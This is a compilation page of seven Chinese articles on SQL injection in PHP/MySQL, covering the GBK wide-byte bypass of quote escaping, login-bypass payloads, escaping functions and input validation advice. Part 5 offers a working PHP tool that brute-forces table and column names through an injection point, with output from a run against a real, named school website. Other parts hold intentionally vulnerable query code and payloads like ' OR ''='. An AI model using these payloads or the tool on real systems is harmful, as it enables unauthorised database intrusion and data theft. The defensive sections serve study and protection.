利用双字节编码突破PHP单引号转义限制进行SQL注入脚本安全

时间:2023-02-15 03:48:23 作者:过过儿 综合材料 收藏本文 下载本文

【导语】“过过儿”通过精心收集,向本站投稿了7篇利用双字节编码突破PHP单引号转义限制进行SQL注入脚本安全,以下是小编为大家准备的利用双字节编码突破PHP单引号转义限制进行SQL注入脚本安全,希望对大家有帮助。

篇1:利用双字节编码突破PHP单引号转义限制进行SQL注入脚本安全

今天看了黑防2009精华本下册《双字节编码:PHP的隐形杀手》一文,深受启发,

当php.ini中magic_quotes_gpc被设置为on时,提交的参数会被转义,例如,单引号会被转义成了\\'。一下子截断了字符型注入的路。

GBK双字节编码:一个汉字用两个字节表示,首字节对应0x81-0xFE,尾字节对应0x40-0xFE(除0x7F),刚好涵盖了\\对应的编码0x5C。

0xD5 0x5C 对应了汉字“\”,于是 %d5%5c 经URL解码后为“\”。

于是提交参数 %d5' ,经PHP自动转义后为 %d5%5c%27 ('被转义为了\\',对应%5c%27),再经URL解码后,就变成了 \\' 。

这样就突破了单引号转义的限制。

本地测试如下:

测试脚本index.php如下:

$conn=0;

$conn = mysql_connect(“localhost”,“root”,“see2006”);

if (!$conn)

{

die(“不能打开数据库连接,错误: ” . mysql_error);

}

// 选择数据库

mysql_select_db(“test”, $conn);

// 设置mysql数据库输出数据的字符集

mysql_query(“set names 'gbk'”);

$sql=“select * from news where content like '%”.$_REQUEST['k'].“%'”;

echo “当前sql语句:”.$sql.“

”;

$result=mysql_query($sql,$conn);

if(!$result)

echo mysql_error();

while($result && $row=mysql_fetch_array($result))

{

echo “$row[title]

”;

}

?>

搜索关键字为空,显示所有条目

单引号被PHP自动转义

利用双字节编码绕过PHP转义,SQL语句出错

利用#注释之后的SQL语句,语法正确

union猜字段数目和可显示字段的位置

union查看当前用户

union查看当前数据库名

union查看test数据库表名

union查看user表的name字段值

union查看user表的pass字段值

篇2:利用GBK双字节编码突破PHP单引号转义限制进行SQL注入脚本安全

当php.ini中magic_quotes_gpc被设置为on时,提交的参数会被转义,例如,单引号会被转义成了',一下子截断了字符型注入的路。

GBK双字节编码:一个汉字用两个字节表示,首字节对应0x81-0xFE,尾字节对应0x40-0xFE(除0x7F),刚好涵盖了对应的编码0x5C。

0xD5 0x5C 对应了汉字“\”,于是 %d5%5c  经URL解码后为“\”。

当我们提交参数 %d5' ,经浏览器URL编码后为%d5%27,再经PHP URL解码后为 0xd50x27,再经PHP转义后为0xd50x5c0x27,即就是在0x27(')之前插入了转义符0x5c(\\)。当MySQL采用GBK编码连接时,0xd50x5c0x27 这一字节序列就被MySQL作为GBK编码理解:\\'。

这样就吃掉了PHP的转义符,从而突破了单引号转义的限制。

本地测试如下:

1.

2.$conn=0;

3.$conn = mysql_connect(“localhost”,“root”,“see2006”);

4.if(!$conn)

5.{

6.die(“不能打开数据库连接,错误: ”. mysql_error());

7.}

8.

9.//选择数据库

10.mysql_select_db(“test”, $conn);

11.

12.//设置mysql数据库输出数据的字符集

13.mysql_query(“set names 'gbk'”);

14.

15.$sql=“select * from  news where content like '%”.$_REQUEST['k'].“%'”;

16.echo“当前sql语句:”.$sql.“

”;

17.

18.$result=mysql_query($sql,$conn);

19.

20.if(!$result)

21.echo mysql_error();

22.

23.while($result && $row=mysql_fetch_array($result))

24.{

25.echo“$row[title]

”;

26.}

27.?>

搜索关键字为空,显示所有条目

单引号被PHP自动转义

利用双字节编码绕过PHP转义,SQL语句出错

利用#注释之后的SQL语句,语法正确

union猜字段数目和可显示字段的位置

union查看当前用户

union查看当前数据库名

union查看test数据库表名

union查看user表的name字段值

union查看user表的pass字段值

以上信息转载 hi.baidu.com/cdcxdzj/blog/item/43a514f7017711c3f3d38515.html

修补方法: 过滤提交过来的值

或者将magic_quotes_gpc设为off

篇3:手把手叫你SQL注入攻防(PHP语法)脚本安全

1.什么是 SQL注入 ,猛戳 查看

2.本地 测试 代码:

如果表单提交正确,就打印hello,“username”

否则,打印“404 not found!”

require 'config.php';

$DBConnection = mysql_connect ( “$dbhost”, “$dbuser”, “$dbpwd” );

mysql_select_db ( “$dbdatabase” );

if(isset($_GET['submit']) && $_GET['submit']){

$sql=“select * from  test  where name='”.$_GET['username'].“'and password='”.$_GET['password'].“'”;

//echo $sql;exit;

$result=mysql_query($sql,$DBConnection);

$num=mysql_num_rows($result);

if($num>=1)

{

echo “hello,”.$_GET['username'];

}

else {

echo“404 not found”;

}

}

?>

username

password

submit

3.浏览器界面显示:

4.重头戏,sql注入:

5.原理--为什么用户名不正确,却可以显示hello?

我可以echo一下:

$sql=“select * from test where name='”.$_GET['username'].“'and password='”.$_GET['password'].“'”;

echo $sql;exit;

显示:

拿到我的mysql数据库中查询:

可以看到,居然能查到信息,因为sql语句中,前一半单引号被闭合,后一半单引号被 “--”给注释掉,中间多了一个永远成立的条件“1=1”,这就造成任何字符都能成功登录的结果,

手把手叫你SQL注入攻防(PHP语法)脚本安全

6.小结:

1)其实这个sql注入过程上很简单,困难的地方在于提交SQL注入语句的灵活性上面,单引号的使用很关键,另外,多用echo打印调试也很值得一试~~

2)GET方式提交表单很危险,所以还是用POST方式吧!

参考:blog.csdn.net/gideal_wang/Article/details/4316691

3)防止SQL注入:可以看出,sql注入就是用户提交一些非法的字符(如本文的单引号’和sql语句的注释号--,还有反斜杠\\等),所以要用转义: htmlspecialchars函数,mysql_read_escape_string函数都可以实现。

4)JS段验证表单了,JSP/PHP等后台还要验证码?

---需要,因为friebug可以禁用JS...

--------------------------------------------------------------------------

update:

上面的方法,当password通过md5加密的话,就无法实现注入了,那么就在username上做手脚:

username后面的内容就都被注释掉了。哈哈~

篇4:php 如何做数据库攻击(如:SQL注入)脚本安全

PHP mysql_real_escape_string 函数

PHP MySQL 函数

定义和用法

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符,

下列字符受影响:

\\x00

\\n

\\r

\\

'

\\x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

语法

mysql_real_escape_string(string,connection)

参数描述

string必需。规定要转义的字符串。

connection可选。规定 MySQL 连接。如果未规定,则使用上一个连接。

说明

本函数将 string 中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于mysql_query() 。

提示和注释

提示:可使用本函数来预防数据库攻击。

例子

例子 1

{ die('Could not connect: ' . mysql_error());

} // 获得用户名和密码的代码 // 转义用户名和密码,以便在 SQL 中使用 $user =mysql_real_escape_string($user); $pwd =mysql_real_escape_string($pwd); $sql = ”SELECT * FROM users WHERE

user='“ . $user . ”' AND password='“ . $pwd . ”'“ // 更多代码 mysql_close($con); ?>

例子 2

数据库攻击。本例演示如果我们不对用户名和密码应用 mysql_real_escape_string() 函数会发生什么:

{ die('Could not connect: ' . mysql_error());

} $sql = ”SELECT * FROM users

WHERE user='{$_POST['user']}'

AND password='{$_POST['pwd']}'“;

mysql_query($sql); // 不检查用户名和密码 // 可以是用户输入的任何内容,比如: $_POST['user'] = 'john'; $_POST['pwd'] = ”' OR ''='“; // 一些代码... mysql_close($con); ?>

那么 SQL 查询会成为这样:

SELECT * FROM users WHERE user='john' AND password='' OR ''=''

这意味着任何用户无需输入合法的密码即可登陆,

例子 3

预防数据库攻击的正确做法:

{ $value =stripslashes($value);

} // 如果不是数字则加引号 if (!is_numeric($value))

{ $value = ”'“ .mysql_real_escape_string($value). ”'“;

} return $value;

} $con = mysql_connect(”localhost“, ”hello“, ”321“); if (!$con)

{ die('Could not connect: ' . mysql_error());

} // 进行安全的 SQL $user = check_input($_POST['user']); $pwd = check_input($_POST['pwd']); $sql = ”SELECT * FROM users WHERE

user=$user AND password=$pwd“;

mysql_query($sql);

mysql_close($con); ?>

?

篇5:do all things in php(注入利用程序编写)脚本安全

最近俺又迷恋上脚本了,嘿嘿~~~刚学完PHP然后又看了些PHP安全方面的文章,于是乎从google中找了几个站练习一下,

结果发现php猜表名和列名真的很费劲啊,nbsi这类的扫描工具有没有那种用字典或者暴力猜解表名和列名的功能,难不成还得自己一个一个猜啊?我很懒的:-)

突然想到自己不是刚刚学完PHP吗?为什么不学以致用呢?php不光是一个web脚本语言,它还是一个非常棒的命令行解释语言,用它写脚本好方便的哦。为了以后能够碰到这类问题省点劲俺就写了一个php脚本用来猜表和列名的。脚本写的很简单,内容如下:

echo ”\\tUniversal Database tables explode exploit V0.1\\n\\n“;

echo ”\\t\\tWritten by Mika[EST]\\n\\n“;

//$keyword=”Warning“;

$keyword=”error“;

switch($argc){

case 3:

$u=” and (select count(*) from MIKA_NAME)>0“;

$dic=$argv[2];

break;

case 4:

$u=” and 1=1 union select “.implode(',',range(1,$argv[2])).” from MIKA_NAME#“;

$dic=$argv[3];

break;

case 5:

if($argv[2]!=”-t“)

exit(”arguments Error“);

$u=” and (select count(MIKA_NAME) from $argv[3])>0#“;

$dic=$argv[4];

break;

case 6:

if($argv[2]!=”-t“ || $argv[4]<1)

exit(”arguments Error“);

if($argv[4]>=2){

$u=” and 1=1 union select “.'MIKA_NAME'.','.implode(',',range(2,$argv[4])).” from $argv[3]#“;

}else{

$u=” and 1=1 union select MIKA_NAME from $argv[3]#“;

}

$dic=$argv[5];

break;

default:

echo <<

Usage:$argv[0] [OPTIONS]

OPTIONS: number --->to indicate column number of a table during a union query

e.g:$argv[0] www.aaa.com/bbb.asp?ccc=56 3 mydict.txt

the url will be like:.../bbb.asp?ccc=56 and 1=2 union select 1,2,3 from admin

OPTIONS: -t [number] --->to explode column name of the

e.g:$argv[0] www.aaa.com/bbb.asp?ccc=56 -t admin mydict.txt

Attention:if you don't use [options] the program will use default mode to work.you can change it in the source code of this program.

USAGE;

die;

}

$old=$argv[1];

file_exists($dic) or exit(”dic file does not exist!\\n“);

$words=file($dic);

$curl=curl_init();

curl_setopt($curl,CURLOPT_HEADER,0);

curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);

curl_setopt($curl,CURLOPT_PROXY,”127.0.0.1:8080“);

print ”[+]Searching What you want...\\n“;

foreach($words as $word){

//print $word;

if(preg_match(”/^\\s$/“,$word)){

//print ”blank“;

continue;

}

$url=str_replace('MIKA_NAME',trim($word),$u);

$url=$old.urlencode($url);

//$url=$old.$url;

curl_setopt($curl,CURLOPT_URL,$url);

//print ”source url is:“.$url.”\\n“;

$content=curl_exec($curl);

//$new=$content;

//print $content;

if(preg_match(”/$keyword/i“,$content)==0){

print ”[*] FOUND:“.trim($word);

}

else{print ”.“;}

}

?>

俺先解释一下吧:程序里用到的模块是curl,它用来获取网页内容是非常方便的。我的这个php是for windows的,所以里面集成了很多的模块。但是curl默认是不启用的,你需要开启它哦。方法很简单,去网上下载php最新版本的绿色版(不需要安装的,方便携带),然后将压缩包内的php.ini-recommended复制到系统目录(win2k是winnt目录,xp等的是windows目录)并将其改名为php.ini,然后用记事本打开,找到如下一行:

extension_dir =

把它的值设置成你自己的,比如把压缩包接压到了c:\\php里,那么你需要把它设置成:

extension_dir = ”c:\\php\\ext“

然后再继续找到下面这段:

; Windows Extensions

; Note that ODBC support is built in, so no dll is needed for it.

; Note that many DLL files are located in the extensions/ (PHP 4) ext/ (PHP 5)

; extension folders as well as the separate PECL DLL download (PHP 5).

; Be sure to appropriately set the extension_dir directive.

;extension=php_mbstring.dll

;extension=php_bz2.dll

;extension=php_curl.dll

;extension=php_dba.dll

;extension=php_dbase.dll

;extension=php_exif.dll

;extension=php_fdf.dll

;extension=php_filepro.dll

;extension=php_gd2.dll

;extension=php_gettext.dll

;extension=php_ifx.dll

看到php_curl.dll了吗?把它前面的分号去掉就可以了,

然后保存一下,还没完呢,再去php的目录里找到这两个文件:

libeay32.dll

ssleay32.dll

把他们复制到system32目录里就OK了。很简单吧?然后在环境变量里设置一下你的php的路径,这样在任何目录里就可以直接调用php.exe进行解析了。安装其它模块的步骤也类似,俺就不多说了:-)

言归正传,你通过上面几步就可以使用curl模块了。程序用法很简单,比如有注入的url是这样的:www.aaa.com/bbb.asp?ccc=56,你的字典文件在当前目录mydict.txt。那么本程序的使用方法就是:

php explode.php www.aaa.com/bbb.asp?ccc=56 mydict.txt

需要注意的就是,由于这个程序本来就是俺自己用的,所以程序没有考虑很多东西。程序是根据页面返回的内容进行判断的,所以呢,你要首先自己手工获取一下,比如你可以这样:

www.aaa.com/bbb.asp?ccc=56 and (select count(*) from mika520)>0(access和mssql上)

或者

www.aaa.com/bbb.asp?ccc=56 and 1=1 union select 1,2,3,4,5,6 from mika520%23 (mysql上)

其中的mika520是一个不存在的表,这样返回的页面后你可以察看源代码,随便找一个正确页面中不存在的语句作为关键字(nbsi等的注入工具默认是用正确页面里的东西作为判断的,俺和它反着来:-),然后把程序代码中第4行的$keyword的值换成你的关键字就可以了。比如下面这个站吧:

www.elkhart.k12.in.us/content.php?id=157

由于是php的所以你得用第二种方式来猜,即需要使用联合查询,所以先判断注入点存在不存在,然后使用order by判断字段数,我在这里判断的是5个字段,判断好后就可以使用我的这个程序来猜了,结果如下:

F:\\scripts\\php\\mine>php forcetb1.php www.elkhart.k12.in.us/content.php?id

=157 5 mydict.txt

Universal Database tables explode exploit V0.1

Written by Mika[EST]

[+]Searching What you want...

...[*] FOUND:structure..........................................................

看到了吗?找到了一个表,呵呵。再来看看字段:

F:\\scripts\\php\\mine>php forcetb1.php www.elkhart.k12.in.us/content.php?id

=157 -t structure 5 temp.txt

Universal Database tables explode exploit V0.1

Written by Mika[EST]

[+]Searching What you want...

[*] FOUND:division......[*] FOUND:id.[*] FOUND:level.........[*] FOUND:title....

..[*] FOUND:content..[*] FOUND:parent_id.........

很简单吧?命令中的那个5就是你用order by猜出的字段数,换成实际中的就可以了。如果是access或者mssql的数据库,只要去掉那个字段数(即例子中的5)的参数就可以了。我就不多做演示了。

如果大家用得过程中出现问题可以自己去改代码,很简单的:-)

另外我这个程序默认是使用HTTP代理的,所以你需要修改这一行:

curl_setopt($curl,CURLOPT_PROXY,”127.0.0.1:8080“);

换成你的代理就好了,如果不需要代理那就直接注释掉好了。

其实猜嘛,关键还是看你的字典是不是够强大,你可以把你常见的字典组合一下就好了。比如NBSI和狂注幽灵等的字典拿过来,然后组成一个文件就是了。但是这两个字典有可能有很多重复的,为了节省不必要的猜解,需要去处重复的。我这里用php写了非常简单的程序可以帮助你去除重复行,如下:

if($argc!=2){

echo <<

\\t\\t Written By Mika[EST]\\n

\\t\\tUsage: $argv[0] \\n

INFO;

die;

}

file_exists($argv[1]) or exit(”$argv[1] dose not exists!“);

$txt_file=file($argv[1]);

$uniq_file=array_unique($txt_file);

$file=fopen($argv[1],”w“);

fwrite($file,implode(”“,$uniq_file));

fclose($file);

echo ”unique done!“;

?>

用法非常简单,首先合并字典,比如,1.txt,2.txt,用copy命令即可:

F:\\scripts\\php\\mine>copy 1.txt+2.txt 3.txt

1.txt

2.txt

已复制 1 个文件。

F:\\scripts\\php\\mine>dir 3.txt

驱动器 F 中的卷是 LIB

卷的序列号是 CC4F-A32B

F:\\scripts\\php\\mine 的目录

2007-07-13 18:50 1,474 3.txt

1 个文件 1,474 字节

0 个目录 2,166,566,912 可用字节

然后用我的这个程序处理一下:

F:\\scripts\\php\\mine>php uniq.php 3.txt

unique done!

F:\\scripts\\php\\mine>dir 3.txt

驱动器 F 中的卷是 LIB

卷的序列号是 CC4F-A32B

F:\\scripts\\php\\mine 的目录

2007-07-13 18:52 1,288 3.txt

1 个文件 1,288 字节

0 个目录 2,166,566,912 可用字节

注意看文件的大小哦,嘿嘿~~~简单吧?;-)

好了,累死我了~~~到这吧,先到这里吧~~~休息~~休息~~~

我是女生,嘿嘿,快乐的女生~~~~~~

篇6:走近科学:如何利用Google机器人进行SQL攻击脚本安全

老外安全公司发现了来自Google机器人的SQL注入攻击,迫使他们应急的时候设置策略对Google的IP进行屏蔽,

有件事情我们需要留意的是,几乎所有的云防火墙的规则都会对搜索引擎机器人设置白名单。

目前来说我们的生活还是很幸福的,但当你发现一个合法的搜索引擎机器人被用来攻击你的网站,你还睡得安稳吗?

这是几天前我们一个客户的网站所发生的实实在在的案例,我们开始对Google机器人的IP进行屏蔽,根据抓到的请求可以判断它做的是SQL注入攻击。你没听错,对!Google机器人在对你们做SQL注入!

请求

我们的发现始于Google机器人的IP地址被SQL注入防护策略屏蔽,各位看官看以下日志(打了点码):

66.249.66.138 - - [05/Nov/2013:00:28:40 -0500] ”GET /url.php?variable=“)%20declare%20@q%20varchar(8000(%20select%20@q%20=%200x527%20exec(@q)%20-- HTTP/1.1” 403 4439 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +www.google.com/bot.html)”

我们的第一反应是觉得这是个伪造的机器人,但当我们检查IP地址来源是却发现这是实实在在的google机器人!

$ host 66.249.66.138138.66.249.66.in-addr.arpa domain name pointer crawl-66-249-66-138.googlebot.com.NetRange: 66.249.64.0 - 66.249.95.255CIDR: 66.249.64.0/19OriginAS: NetName: GOOGLE

进一步调查显示其它相似的请求签名都是来自于Google的IP地址,

到底咋回事?

其实Google并不是真有兴趣要黑我们,它是真的爱我们。

场景是这样的:

Google机器人正在网站A收集信息,网站A内嵌入了对目标网站B的SQL注入请求链接,Google机器人顺着链接访问网站B,就无意中开始对网站B执行了SQL注入攻击。

看到这里大家应该懂了吧?

利用机器人做攻击?

我们假设有个 叫小明。小明每天花很多时间在找web漏洞,所以小明也发现了一堆的漏洞站。而他也很清楚明白,他必须要掩饰他的行为。

而一个安全人员最普遍的方法都是分析日志。小明也知道这点,所以他现在可能有一个B网站的漏洞,比如SQL注入或者RFI。

于是小明到自己的网站A上面,写下这些EXP,让爬虫来爬……

这种类似场景其实很容易想象吧?

我们已经就这个问题联系谷歌了。对于爬虫,我们不能仅仅只是做白名单,而应该在这前面先对请求做检测!

原文

小编:想起之前那个 的安全狗“通杀”exp,不正是利用白名单的缺陷?或者已知某站CMS指纹,然后找到把相关版本的EXP来利用机器人绕过这些dns waf或盒子?国内有牛这样搞过了吗?

篇7:利用PHP程序设定防止MySQL注入或HTML表单滥用脚本安全

MySQL注入的意图是接管网站数据库并窃取信息,常见的开源数据库,如MySQL,已经被许多网站开发人员用来储存重要信息,如密码,个人信息和管理信息。

MySQL之所以流行,是因为它与最流行的服务器端脚本语言PHP一起使用。而且,PHP是主导互联网的Linux- Apache服务器的主要语言。因此,这意味着 可以很容易地利用PHP就像Windows的间谍软件一样。

向一个无担保的网页表单输入大量恶意代码(通过下拉菜单,搜索框,联系表单,查询表单和复选框)。

恶意代码将被送到MySQL数据库,然后“注入”。要查看这个过程,首先考虑以下基本的MySQL SELECT查询语句:

SELECT * FROM xmen WHERE username = 'wolverine'

此查询会向有“xmen”表的数据库要求返回某一段MySQL中用户名为“wolverine”的数据。

在Web表单中,用户将输入wolverine,然后这些数据将被传到MySQL查询。

如果输入无效, 还有其他方法控制数据库,如设置用户名:

' OR ''=''

你可能认为使用正常的PHP和MySQL句法执行输入是安全的,因为每当有人输入恶意代码,他们将会得到一个“无效的查询”的消息,但事实并非如此。 很聪明,且因为涉及数据库清理和重设管理权限,任何一个安全漏洞都不容易纠正。

两种对MySQL注入攻击的常见误解如下:

1.网管认为恶意注入可用防病毒软件或反间谍软件清理。事实是,这种类型的感染利用了MySQL数据库的弱点。它不能简单地被任何反间谍软件或防病毒程序删除。

2. MySQL注入是由于复制了从另一台服务器或外部来源被感染的文件。事实并非如此。这种类型的感染是由于有人将恶意代码输入到网站不受保护表单,然后访问数据库。MySQL注入可通过删除恶意脚本清除掉,而不是使用防病毒程序。

用户输入验证流程

备份一个清洁的数据库,并放置在服务器外。输出一套MySQL表并保存在桌面。

然后转到服务器,先暂时关闭表单输入。这意味着表单不能处理数据,网站被关闭了。

然后启动清理进程。首先,在您的服务器上,清理遗留的混乱的MySQL注入。更改所有的数据库,FTP和网站的密码。

在最坏的情况下,如果你清理迟了,你可以再次检查在您服务器上运行的隐藏程序。这些隐藏程序是 安装的木马。将其完全删除并更改所有FTP权限,

扫描服务器上所有木马程序和恶意软件。

当您修改PHP脚本程序时,将处理表单数据。防止MySQL注入的一个好办法是:连用户数据也不信任。用户输入验证对于防止MySQL注入是相当重要的。

设计一个过滤器筛选出用户输入,以下是几点提示:

1.输入到表单的是数字。你可以通过测试它等于或大于0.001 (假设你不接受一个零)验证它是不是数字。

2.如果是Email地址。验证其是否由允许的字符组合构成,如“ @ ” ,A-Z,a-z或一些数字。

3.如果是人名或用户名。可以通过是否包含任何非法字符验证它,如and和*,是可用于SQL注入的恶意字符。验证数字输入

下面的脚本验证了是否输入一个从0.001至无限大的有效数字。值得一提的是,在一个PHP程序中,甚至可以允许使用一定范围内的数字。使用此验证脚本可确保输入到表单的只是一个数字。

假设在程序中有三个数字变量;您需要将它们进行验证,我们将它们命名num1 , num2和num3:

//Validate numerical input

if($_POST['num1'] >= 0.001 && $_POST['num2'] >= 0.001 && $_POST['num3'] >= 0.001)

{

}

else

{

}

?>

And条件可被延长到能容纳超过三个数字。所以,如果你有10个,您将只需要扩展AND语句。

这可以用来验证一个只接受数字的表单,如合同数量,许可证号码,电话号码等。

验证文字和邮件地址的输入

以下可以用于验证诸如用户名,名字以及电子邮件地址的表单输入:

//Validate text input

if (! preg_match('/^[-a-z.-@,'s]*$/i',$_POST['name']))

{

}

else

if ($empty==0)

{

}

else

{

}

?>

该验证脚本的一个优点是,它不接受空白输入。一些恶意用户还通过空白投入操纵数据库。使用上面的脚本,只验证一个文字变量, “ $name”。这意味着,如果有三个文字变量,你可以分别对每个变量设置一个验证脚本,以确保每一个变量都在进入数据库前通过了审查。

利用GBK双字节编码突破PHP单引号转义限制进行SQL注入脚本安全

手工注入脚本安全

mysql5.0注入原理脚本安全

Andys PHP Knowledgebase 0.95.4 SQL注入漏洞及修复

安全性测试之SQL注入

一次枫叶防注入程序漏洞手工入侵脚本安全

保驾护航 对登陆密码的设置进行限制WEB安全

编写记事本突破本地限制的方法

利用课外活动进行思想教育培养有用之才

Nginx %00空字节执行任意代码(php)漏洞漏洞预警

利用双字节编码突破PHP单引号转义限制进行SQL注入脚本安全(精选7篇)

欢迎下载DOC格式的利用双字节编码突破PHP单引号转义限制进行SQL注入脚本安全,但愿能给您带来参考作用!
推荐度: 推荐 推荐 推荐 推荐 推荐
点击下载文档 文档为doc格式
点击下载本文文档